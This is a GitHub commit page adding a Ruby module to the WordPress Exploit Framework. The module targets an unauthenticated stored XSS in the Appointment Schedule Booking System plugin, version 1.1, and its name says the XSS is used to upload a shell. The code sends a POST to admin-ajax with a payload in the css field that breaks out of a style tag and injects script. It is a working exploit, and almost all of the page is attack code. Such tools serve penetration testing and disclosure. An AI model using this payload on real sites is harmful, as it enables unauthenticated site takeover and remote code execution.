Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 3abc1e6

Browse files
committed
Add Appointment Schedule Booking System stored XSS module
1 parent b561faa commit 3abc1e6

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::AppointmentScheduleBookingSystemStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StoredXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Appointment Schedule Booking System Unauthenticated Stored XSS Shell Upload',
9+
author: [
10+
'White Fir Design', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8634'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/10/03/persistent-cross-site-scripting-xss-vulnerability-in-wordpress-appointment-schedule-booking-system/']
16+
],
17+
date: 'Oct 04 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-appointment-schedule-booking-system', '1.1')
23+
end
24+
25+
def vulnerable_page
26+
'the page containing the appointment schedule'
27+
end
28+
29+
def store_script
30+
execute_post_request(
31+
url: wordpress_url_admin_ajax,
32+
body: {
33+
'action' => 'appointgen_save_cssfixfront',
34+
'cssfix' => 'front',
35+
'css' => "</style></style><script>#{xss_include_script}</script><style>"
36+
}
37+
)
38+
end
39+
end

0 commit comments

Comments
 (0)